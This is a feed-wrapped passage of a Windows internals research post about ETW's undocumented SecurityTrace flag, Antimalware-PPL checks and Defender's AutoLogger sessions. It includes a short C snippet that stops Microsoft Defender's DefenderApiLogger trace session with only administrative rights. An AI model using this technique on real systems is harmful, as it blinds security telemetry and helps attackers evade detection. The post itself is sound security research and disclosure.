<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-01-20T19:20:20+00:00</updated><id>/feed.xml</id><title type="html">Connor McGarr’s Blog</title><subtitle>Software Engineering and Security Research</subtitle><author><name>Connor McGarr</name></author><entry><title type="html">Windows Internals: Check Your Privilege - The Curious Case of ETW’s SecurityTrace Flag</title><link href="/securitytrace-etw-ppl/" rel="alternate" type="text/html" title="Windows Internals: Check Your Privilege - The Curious Case of ETW’s SecurityTrace Flag" /><published>2026-01-16T00:00:00+00:00</published><updated>2026-01-16T00:00:00+00:00</updated><id>/securitytrace-etw-ppl</id><content type="html" xml:base="/securitytrace-etw-ppl/"><![CDATA[<blockquote>
  <p>This blog post is from the original post I made on the <a href="https://www.originhq.com/">Origin</a> (by Prelude) blog. The original can be found <a href="https://www.originhq.com/blog/securitytrace-etw-ppl">here</a>.</p>
</blockquote>

<h2 id="introduction">Introduction</h2>
<p>Recently, while investigating new feature development for our <a href="https://www.preludesecurity.com/runtime-memory-protection">Origin (by Prelude) Runtime Memory Protection</a> research preview product, we were forced to dig into the inner-workings of Event Tracing for Windows (ETW). In the course of leveraging our internal ETW tooling, which executes at a signing and protection level of <a href="https://www.alex-ionescu.com/the-evolution-of-protected-processes-pass-the-hash-mitigations-in-windows-8-1/">Antimalware Protected Process Light (PPL)</a>, we noticed that it was possible to issue a “stop trace” code to a target ETW session that had an undocumented “security trace” flag enabled - which will be the topic of this blog post - without (seemingly) the necessary privileges required. This undocumented flag appears to ensure that only processes running at Antimalware-PPL can interact with or modify any ETW trace session with this flag enabled. In practice, it seems most applicable to AutoLogger ETW trace sessions (as we will see later). Yet we were able to stop the trace session with only administrative privileges, without any special signing or elevated protection level. If you’re familiar with Windows internals you will know that - even if not <em>officially</em> acknowledged - resources created or managed by a protected process generally should not be modifiable by less-privileged entities, including administrative processes. Given that this flag appears to delegate trace-session management exclusively to Antimalware-PPL processes, our interest was piqued.</p>

<p>As we set out to determine how any of this was possible in the first place, this led us to identifying both how to configure and manage this undocumented “security trace” ETW flag without needing Antimalware-PPL. However, and much more practical and impactful, <strong>this allowed us to identify a new method to consume events from ETW providers which require Antimalware-PPL, like Microsoft-Windows-Threat-Intelligence, without running as Antimalware-PPL <em>and</em> without relying on a kernel driver - or any of the usual “patch-the-kernel” gymnastics researchers have historically relied on</strong>. Alongside this post, we are also releasing a public proof of concept that encapsulates this research: <a href="https://github.com/preludeorg/ThreatIntelligenceConsumer">ThreatIntelligenceConsumer</a>.</p>

<h2 id="etw-session-management">ETW Session Management</h2>
<p>Although the functionality for creating and managing ETW sessions is exposed in user-mode on Windows, the kernel is still responsible for the <em>true</em> management of resources related to trace sessions. One of the primary structures used by the kernel to manage a specific ETW session is through the <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> structure.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">lkd</span><span class="o">&gt;</span> <span class="nx">dt</span> <span class="nx">nt</span><span class="o">!</span><span class="nx">_WMI_LOGGER_CONTEXT</span>
   <span class="o">+</span><span class="mh">0x000</span> <span class="nx">LoggerId</span>         <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x004</span> <span class="nx">BufferSize</span>       <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x008</span> <span class="nx">MaximumEventSize</span> <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x00c</span> <span class="nx">LoggerMode</span>       <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x010</span> <span class="nx">AcceptNewEvents</span>  <span class="p">:</span> <span class="nx">Int4B</span>
   <span class="o">+</span><span class="mh">0x018</span> <span class="nx">GetCpuClock</span>      <span class="p">:</span> <span class="nx">Uint8B</span>
   <span class="o">+</span><span class="mh">0x020</span> <span class="nx">LoggerThread</span>     <span class="p">:</span> <span class="nx">Ptr64</span> <span class="nx">_ETHREAD</span>
   <span class="o">+</span><span class="mh">0x028</span> <span class="nx">LoggerStatus</span>     <span class="p">:</span> <span class="nx">Int4B</span>
   <span class="o">+</span><span class="mh">0x02c</span> <span class="nx">FailureReason</span>    <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x030</span> <span class="nx">BufferQueue</span>      <span class="p">:</span> <span class="nx">_ETW_BUFFER_QUEUE</span>
   <span class="o">+</span><span class="mh">0x040</span> <span class="nx">OverflowQueue</span>    <span class="p">:</span> <span class="nx">_ETW_BUFFER_QUEUE</span>
   <span class="o">+</span><span class="mh">0x050</span> <span class="nx">GlobalList</span>       <span class="p">:</span> <span class="nx">_LIST_ENTRY</span>
   <span class="o">+</span><span class="mh">0x060</span> <span class="nx">DebugIdTrackingList</span> <span class="p">:</span> <span class="nx">_LIST_ENTRY</span>
   <span class="o">+</span><span class="mh">0x070</span> <span class="nx">DecodeControlList</span> <span class="p">:</span> <span class="nx">Ptr64</span> <span class="nx">_ETW_DECODE_CONTROL_ENTRY</span>
   <span class="o">+</span><span class="mh">0x078</span> <span class="nx">DecodeControlCount</span> <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x080</span> <span class="nx">BatchedBufferList</span> <span class="p">:</span> <span class="nx">Ptr64</span> <span class="nx">_WMI_BUFFER_HEADER</span>
   <span class="o">+</span><span class="mh">0x080</span> <span class="nx">CurrentBuffer</span>    <span class="p">:</span> <span class="nx">_EX_FAST_REF</span>
   <span class="o">+</span><span class="mh">0x088</span> <span class="nx">LoggerName</span>       <span class="p">:</span> <span class="nx">_UNICODE_STRING</span>
   <span class="o">+</span><span class="mh">0x098</span> <span class="nx">LogFileName</span>      <span class="p">:</span> <span class="nx">_UNICODE_STRING</span>
   <span class="o">+</span><span class="mh">0x0a8</span> <span class="nx">LogFilePattern</span>   <span class="p">:</span> <span class="nx">_UNICODE_STRING</span>
   <span class="o">+</span><span class="mh">0x0b8</span> <span class="nx">NewLogFileName</span>   <span class="p">:</span> <span class="nx">_UNICODE_STRING</span>
<span class="o">&lt;---</span> <span class="nx">Truncated</span> <span class="o">---&gt;</span>
</code></pre></div></div>

<p>This structure, which is quite large, manages a lot of the data and metadata needed for the session including the name of the logger, the state of ETW buffers being written to, Last Branch Record (LBR) and Intel Processor Trace (IPT) <a href="https://www.preludesecurity.com/runtime-memory-protection">ETW enablement status if applicable</a>, flags, and other items of interest. For the purposes of this blog post, we will examine the various flags which are present.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+0x330 Flags            : Uint4B
+0x330 Persistent       : Pos 0, 1 Bit
+0x330 AutoLogger       : Pos 1, 1 Bit
+0x330 FsReady          : Pos 2, 1 Bit
+0x330 RealTime         : Pos 3, 1 Bit
+0x330 Wow              : Pos 4, 1 Bit
+0x330 KernelTrace      : Pos 5, 1 Bit
+0x330 NoMoreEnable     : Pos 6, 1 Bit
+0x330 StackTracing     : Pos 7, 1 Bit
+0x330 ErrorLogged      : Pos 8, 1 Bit
+0x330 RealtimeLoggerContextFreed : Pos 9, 1 Bit
+0x330 PebsTracing      : Pos 10, 1 Bit
+0x330 PmcCounters      : Pos 11, 1 Bit
+0x330 PageAlignBuffers : Pos 12, 1 Bit
+0x330 StackLookasideListAllocated : Pos 13, 1 Bit
+0x330 SecurityTrace    : Pos 14, 1 Bit
+0x330 LastBranchTracing : Pos 15, 1 Bit
+0x330 SystemLoggerIndex : Pos 16, 8 Bits
+0x330 StackCaching     : Pos 24, 1 Bit
+0x330 ProviderTracking : Pos 25, 1 Bit
+0x330 ProcessorTrace   : Pos 26, 1 Bit
+0x330 QpcDeltaTracking : Pos 27, 1 Bit
+0x330 MarkerBufferSaved : Pos 28, 1 Bit
+0x330 LargeMdlPages    : Pos 29, 1 Bit
+0x330 ExcludeKernelStack : Pos 30, 1 Bit
</code></pre></div></div>

<p>Although the mask of flags is technically represented by <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT.Flags</code>, the symbols contain a convenient breakdown of the various values which are available. As we can see, <code class="language-plaintext highlighter-rouge">SecurityTrace</code> is a flag which is present and will be the subject of this blog post. By itself, however, this flag does not indicate what it is used for, other than the fact that it denotes the trace is somehow related to security.</p>

<p>To get a sense as to what this flag may be used for, we first enumerated all of the trace sessions which contained this flag. Note that the list of active loggers cannot exceed 0x50 (80), as this currently is the maximum number of supported loggers on a system. WinDbg, which we use for our research, is a very powerful <a href="https://blog.trailofbits.com/2023/11/22/etw-internals-for-security-research-and-forensics/">tool</a> for ETW analysis.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">lkd</span><span class="o">&gt;</span> <span class="nx">dx</span> <span class="p">((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_WMI_LOGGER_CONTEXT</span><span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)[</span><span class="mh">0x50</span><span class="p">])(((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_ESERVERSILO_GLOBALS</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="nx">nt</span><span class="o">!</span><span class="nx">PspHostSiloGlobals</span><span class="p">)</span><span class="o">-&gt;</span><span class="nx">EtwSiloState</span><span class="o">-&gt;</span><span class="nx">EtwpLoggerContext</span><span class="p">))</span><span class="o">-&gt;</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span><span class="o">-&gt;</span><span class="nx">SecurityTrace</span> <span class="o">==</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Select</span><span class="p">(</span><span class="nx">i</span> <span class="o">=&gt;</span> <span class="nx">i</span><span class="o">-&gt;</span><span class="nx">LoggerName</span><span class="p">)</span>
<span class="p">((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_WMI_LOGGER_CONTEXT</span><span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)[</span><span class="mh">0x50</span><span class="p">])(((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_ESERVERSILO_GLOBALS</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="nx">nt</span><span class="o">!</span><span class="nx">PspHostSiloGlobals</span><span class="p">)</span><span class="o">-&gt;</span><span class="nx">EtwSiloState</span><span class="o">-&gt;</span><span class="nx">EtwpLoggerContext</span><span class="p">))</span><span class="o">-&gt;</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span><span class="o">-&gt;</span><span class="nx">SecurityTrace</span> <span class="o">==</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Select</span><span class="p">(</span><span class="nx">i</span> <span class="o">=&gt;</span> <span class="nx">i</span><span class="o">-&gt;</span><span class="nx">LoggerName</span><span class="p">)</span>                
    <span class="p">[</span><span class="mi">5</span><span class="p">]</span>              <span class="p">:</span> <span class="dl">"</span><span class="s2">DefenderApiLogger</span><span class="dl">"</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_UNICODE_STRING</span><span class="p">]</span>
    <span class="p">[</span><span class="mi">6</span><span class="p">]</span>              <span class="p">:</span> <span class="dl">"</span><span class="s2">DefenderAuditLogger</span><span class="dl">"</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_UNICODE_STRING</span><span class="p">]</span>
</code></pre></div></div>

<p>There are only two trace sessions with this feature enabled - DefenderApiLogger and DefenderAuditLogger. These trace sessions are associated with Microsoft Defender. If one attempts to analyze the relevant binaries, you will not find the creation of these ETW sessions present (via <code class="language-plaintext highlighter-rouge">StartTrace</code>). This is because these sessions are registered as <a href="https://learn.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session">AutoLogger</a> ETW sessions. For the unfamiliar, AutoLogger sessions are used in order for some loggers to consume events fairly early (all things considered) in the boot process and are not created by a particular process, but instead are created by the kernel directly (unlike most “normal” sessions - which are created by a particular process invoking <code class="language-plaintext highlighter-rouge">StartTrace</code>). These sessions are configured through the Registry via <code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger</code>.</p>

<p><img src="/images/securitytrace1.png" alt="" /></p>

<p>By examining one of the AutoLogger sessions associated with Microsoft Defender we can glean further insight, potentially, into the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> feature.</p>

<p><img src="/images/securitytrace2.png" alt="" /></p>

<p>The DefenderApiLogger key itself contains AutoLogger-compliant configuration settings (not all of the ETW trace session configuration settings are available to AutoLoggers). As we can see in the above image, there are no configuration options related to “Flags” or any other moniker which would indicate configuration of various features such as <code class="language-plaintext highlighter-rouge">SecurityTrace</code>, etc. Moreover, if we put AutoLogger sessions aside and look at the <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure, which is used by callers of <code class="language-plaintext highlighter-rouge">StartTrace</code> to create a new ETW session programmatically, there <em>still</em> are no options to configure an item such as a “security trace” feature or a <code class="language-plaintext highlighter-rouge">SecurityTrace</code> flag.</p>

<p>In the case of DefenderApiLogger, all that is present are a list of AutoLogger-compliant ETW settings, along with a list of GUIDs for the various ETW providers which the DefenderApiLogger trace session wishes to consume from. For example, the Microsoft-Windows-Services ETW provider is represented by the first GUID present in the subkey, <code class="language-plaintext highlighter-rouge">0063715B-EEDA-4007-9429-AD526F62696E</code>. Each of these keys contains additional settings, such as the configuration of how a particular provider should emit events or how the logger should consume them - including an additional subkey named “Filters” (if present) which denotes various ETW filters (event ID filtering, etc.).</p>

<p>Still, however, there is nothing particularly identifiable about any of these configuration settings that would indicate the configuration of <code class="language-plaintext highlighter-rouge">SecurityTrace</code>. Given that the <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> structure is a kernel-only structure, we further sought to understand how the ETW runtime in kernel-mode manages the undocumented <code class="language-plaintext highlighter-rouge">SecurityTrace</code> feature.</p>

<h2 id="securitytrace-logger-flag">SecurityTrace Logger Flag</h2>
<p>We’ve mentioned the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> flag - but what does it actually <em>do</em>? One of the clearest ways to answer this is to look where this flag is evaluated (or set). The primary place where <code class="language-plaintext highlighter-rouge">SecurityTrace</code> is evaluated is in the Windows kernel, specifically the <code class="language-plaintext highlighter-rouge">EtwpQueryTrace</code>. As the name suggests, this function handles queries against a target ETW session. In practice, when you use a built-in tool like <code class="language-plaintext highlighter-rouge">logman</code> to retrieve details about an ETW trace session, the request ultimately funnels down to <code class="language-plaintext highlighter-rouge">EtwpQueryTrace</code> in order to be serviced.</p>

<p><img src="/images/securitytrace3.png" alt="" /></p>

<p>Before talking about how <code class="language-plaintext highlighter-rouge">SecurityTrace</code> is evaluated in this function it is worth talking about how queries <em>actually</em> work - as this information will become prevalent in the latter portion of this blog.</p>

<p>ETW session query functionality resides around the <code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code> structure. This undocumented structure is what is actually used by the low-level user-mode caller, <code class="language-plaintext highlighter-rouge">NtTraceControl</code> (via <code class="language-plaintext highlighter-rouge">ControlTrace</code>) for most ETW operations, such as starting or querying a trace. This structure is what is sent to the kernel - not the higher-level (and documented) <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure present in the Windows SDK. Although the Windows Research Kernel (WRK) has a definition of this structure, it has seen quite a few updates since the WRK was last updated. Luckily, the structure is present in <code class="language-plaintext highlighter-rouge">combase.dll</code> (as an aside, COM is notoiously hard to debug, so Microsoft actually ships private symbols for <code class="language-plaintext highlighter-rouge">combase.dll</code>. Given COM intersects with much of the OS, it can be a gold mine for information like this).</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">0</span><span class="p">:</span><span class="mi">000</span><span class="o">&gt;</span> <span class="nx">dt</span> <span class="nx">combase</span><span class="o">!</span><span class="nx">_WMI_LOGGER_INFORMATION</span>
   <span class="o">+</span><span class="mh">0x000</span> <span class="nx">Wnode</span>            <span class="p">:</span> <span class="nx">_WNODE_HEADER</span>
   <span class="o">+</span><span class="mh">0x030</span> <span class="nx">BufferSize</span>       <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x034</span> <span class="nx">MinimumBuffers</span>   <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x038</span> <span class="nx">MaximumBuffers</span>   <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x03c</span> <span class="nx">MaximumFileSize</span>  <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x040</span> <span class="nx">LogFileMode</span>      <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x044</span> <span class="nx">FlushTimer</span>       <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x048</span> <span class="nx">EnableFlags</span>      <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x04c</span> <span class="nx">AgeLimit</span>         <span class="p">:</span> <span class="nx">Int4B</span>
   <span class="o">+</span><span class="mh">0x04c</span> <span class="nx">FlushThreshold</span>   <span class="p">:</span> <span class="nx">Int4B</span>
   <span class="o">+</span><span class="mh">0x050</span> <span class="nx">Wow</span>              <span class="p">:</span> <span class="nx">Pos</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="nx">Bit</span>
   <span class="o">+</span><span class="mh">0x050</span> <span class="nx">QpcDeltaTracking</span> <span class="p">:</span> <span class="nx">Pos</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="nx">Bit</span>
   <span class="o">+</span><span class="mh">0x050</span> <span class="nx">LargeMdlPages</span>    <span class="p">:</span> <span class="nx">Pos</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span> <span class="nx">Bit</span>
   <span class="o">+</span><span class="mh">0x050</span> <span class="nx">ExcludeKernelStack</span> <span class="p">:</span> <span class="nx">Pos</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">1</span> <span class="nx">Bit</span>
   <span class="o">+</span><span class="mh">0x050</span> <span class="nx">V2Options</span>        <span class="p">:</span> <span class="nx">Uint8B</span>
   <span class="o">+</span><span class="mh">0x058</span> <span class="nx">LogFileHandle</span>    <span class="p">:</span> <span class="nx">Ptr64</span> <span class="nx">Void</span>
   <span class="o">+</span><span class="mh">0x058</span> <span class="nx">LogFileHandle64</span>  <span class="p">:</span> <span class="nx">Uint8B</span>
   <span class="o">+</span><span class="mh">0x060</span> <span class="nx">NumberOfBuffers</span>  <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x060</span> <span class="nx">InstanceCount</span>    <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x064</span> <span class="nx">FreeBuffers</span>      <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x064</span> <span class="nx">InstanceId</span>       <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x068</span> <span class="nx">EventsLost</span>       <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x068</span> <span class="nx">NumberOfProcessors</span> <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x06c</span> <span class="nx">BuffersWritten</span>   <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x070</span> <span class="nx">LogBuffersLost</span>   <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x070</span> <span class="nx">Flags</span>            <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x074</span> <span class="nx">RealTimeBuffersLost</span> <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x078</span> <span class="nx">LoggerThreadId</span>   <span class="p">:</span> <span class="nx">Ptr64</span> <span class="nx">Void</span>
   <span class="o">+</span><span class="mh">0x078</span> <span class="nx">LoggerThreadId64</span> <span class="p">:</span> <span class="nx">Uint8B</span>
   <span class="o">+</span><span class="mh">0x080</span> <span class="nx">LogFileName</span>      <span class="p">:</span> <span class="nx">_UNICODE_STRING</span>
   <span class="o">+</span><span class="mh">0x080</span> <span class="nx">LogFileName64</span>    <span class="p">:</span> <span class="nx">_STRING64</span>
   <span class="o">+</span><span class="mh">0x090</span> <span class="nx">LoggerName</span>       <span class="p">:</span> <span class="nx">_UNICODE_STRING</span>
   <span class="o">+</span><span class="mh">0x090</span> <span class="nx">LoggerName64</span>     <span class="p">:</span> <span class="nx">_STRING64</span>
   <span class="o">+</span><span class="mh">0x0a0</span> <span class="nx">RealTimeConsumerCount</span> <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x0a4</span> <span class="nx">SequenceNumber</span>   <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x0a8</span> <span class="nx">LoggerExtension</span>  <span class="p">:</span> <span class="nx">Ptr64</span> <span class="nx">Voidf</span>
   <span class="o">+</span><span class="mh">0x0a8</span> <span class="nx">LoggerExtension64</span> <span class="p">:</span> <span class="nx">Uint8B</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code> acts as a <em>translation</em> layer to extract information from, or store information into, the target trace session’s <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> from the original <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure associated with the target operation (such as <code class="language-plaintext highlighter-rouge">StartTrace</code> or <code class="language-plaintext highlighter-rouge">ControlTrace</code>).</p>

<p><code class="language-plaintext highlighter-rouge">Sechost.dll</code>, the user-mode component which receives the high-level query request from user-mode, translates the <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure into the appropriate <code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code> structure - which then is sent to kernel-mode and is populated by the target <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> structure. This is then translated back into the expected <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure provided by the caller of <a href="https://learn.microsoft.com/en-us/windows/win32/api/evntrace/nf-evntrace-controltracew"><code class="language-plaintext highlighter-rouge">ControlTrace</code></a> query operation. This translation is achieved in <code class="language-plaintext highlighter-rouge">Sechost.dll</code> via <code class="language-plaintext highlighter-rouge">EtwpCopyPropertiesToInfo</code> (<code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> -&gt; <code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code>) and <code class="language-plaintext highlighter-rouge">EtwpCopyInfoToProperties</code> (<code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code> -&gt; <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code>).</p>

<p><img src="/images/securitytrace4.png" alt="" /></p>

<p>What does this have to do with an ETW “security trace”? The actual functionality of a query operation, as we saw previously in <code class="language-plaintext highlighter-rouge">EtwpQueryTrace</code>, is gated by the presence of the target trace session’s <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT.Flags.SecurityTrace</code> bit. In order for the target session’s <code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code> structure to be populated from the <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> structure (in other words, in order for a trace query operation to take place), the caller process (i.e., the process which is performing the query, such as <code class="language-plaintext highlighter-rouge">logman.exe</code> or any other caller of <code class="language-plaintext highlighter-rouge">ControlTrace</code>) must contain <em>at least</em> Antimalware-PPL signing level/privilege.</p>

<p><img src="/images/securitytrace5.png" alt="" /></p>

<p>This means it is not even possible to query these ETW sessions from a process which has, for example, <code class="language-plaintext highlighter-rouge">SYSTEM</code> privileges.</p>

<p><img src="/images/securitytrace6.png" alt="" /></p>

<p>However, the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> feature is more useful than <em>just</em> filtering the ability to query a session from user-mode directly via <code class="language-plaintext highlighter-rouge">ControlTrace</code> with the <code class="language-plaintext highlighter-rouge">EVENT_TRACE_CONTROL_QUERY</code> control code (although it is one of, if not <em>the</em> fundemental operation it is used for). The <code class="language-plaintext highlighter-rouge">SecurityTrace</code> flag is also checked in other security-relevant code paths. <strong>Curiously, however, the check is not present when the “stop ETW trace session” code path (<code class="language-plaintext highlighter-rouge">EtwpStopLogger</code> in <code class="language-plaintext highlighter-rouge">Sechost.dll</code>, <code class="language-plaintext highlighter-rouge">EtwpStopTrace</code> in NT) is exercised</strong>.</p>

<p>In the kernel, the presence of the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit is checked in <code class="language-plaintext highlighter-rouge">EtwpStopLoggerInstance</code> (which is called by <code class="language-plaintext highlighter-rouge">EtwpStopTrace</code>). However, the check is <em>not</em> “security-related” (i.e., validating the calling process is running at Antimalware-PPL) and simply is to, if the target trace session had the Microsoft-Windows-Security-Auditing provider enabled, update global information about this provider - which has special handling in the kernel. This is because, as we will see later, one of the ways in which the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> feature can be enabled is to consume from the Microsoft-Windows-Security-Auditing ETW provider in a very specific manner.</p>

<p><img src="/images/securitytrace7.png" alt="" /></p>

<p>Given no explicit Antimalware-PPL check occurs (and that a stop operation also does not result in a query, which would implicitly perform the Antimalware-PPL check) between the issuing of the stop code and the trace session being stopped, if the name of the target session with <code class="language-plaintext highlighter-rouge">SecurityTrace</code> enabled is known it is still possible for a process with only administrative privileges (<code class="language-plaintext highlighter-rouge">SYSTEM</code> in the case of the Defender session due to additional security descriptors) privileges to stop an ETW trace session with the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> flag present (even though querying such a session would require the querying process to possess Antimalware-PPL). Though, as just mentioned, additional measures such as security descriptors can further tighten the permissions needed to perform such an action on a trace session.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">eventProperties</span><span class="o">-&gt;</span><span class="n">Wnode</span><span class="p">.</span><span class="n">Guid</span> <span class="o">=</span> <span class="n">k_DefenderApiLoggerGuid</span><span class="p">;</span>
<span class="n">eventProperties</span><span class="o">-&gt;</span><span class="n">LoggerNameOffset</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">EVENT_TRACE_PROPERTIES</span><span class="p">);</span>
   
<span class="n">error</span> <span class="o">=</span> <span class="n">ControlTraceW</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span>
                      <span class="s">L"DefenderApiLogger"</span><span class="p">,</span>
                      <span class="n">eventProperties</span><span class="p">,</span>
                      <span class="n">EVENT_TRACE_CONTROL_STOP</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">error</span> <span class="o">!=</span> <span class="n">ERROR_SUCCESS</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">goto</span> <span class="n">Exit</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Successfully stopped DefenderApiLogger trace session.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
</code></pre></div></div>

<p><img src="/images/securitytrace8.png" alt="" /></p>

<p>Lastly, <code class="language-plaintext highlighter-rouge">SecurityTrace</code> and Antimalware-PPL checks almost always occur in tandem with the <code class="language-plaintext highlighter-rouge">EtwCheckSecurityLoggerAccess</code> kernel function. This is the actual function which performs the check for if the requesting/querying process has the necessary privilege (Antimalware-PPL) the operation. This function <a href="https://jonny-johnson.medium.com/peeling-back-the-mask-how-the-threat-intelligence-provider-is-protected-9968c38c5481">is also responsible</a> for ensuring that only Antimalware-PPL processes can enable Microsoft-Windows-Threat-Intelligence related telemetry on desired processes. Not all Microsoft-Windows-Threat-Intelligence events are generated by “default” even with the appropriate keywords enabled. For example, processes must be <em>opted-in</em> to emitting specific events, such as reading/writing to/from memory. Processes do not emit these events by default.</p>

<p><img src="/images/securitytrace9.png" alt="" /></p>

<p>To summarize: the point, in our view, of the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> flag seems to be to prevent non-Antimalware-PPL processes from accessing ETW data specific to sessions (more specifically, as we will see, AutoLogger trace sessions) with this bit set. This brings up the obvious question: how can one enable this feature in the first place? Additionally, could there be any implications for sessions which have the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> feature enabled?</p>

<h2 id="securitytrace---autologger-sessions">SecurityTrace - AutoLogger Sessions</h2>
<p>In our analysis we identified three ways to enable the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> feature. The first two methods happen indirectly through the specific configuration of an AutoLogger trace session.</p>

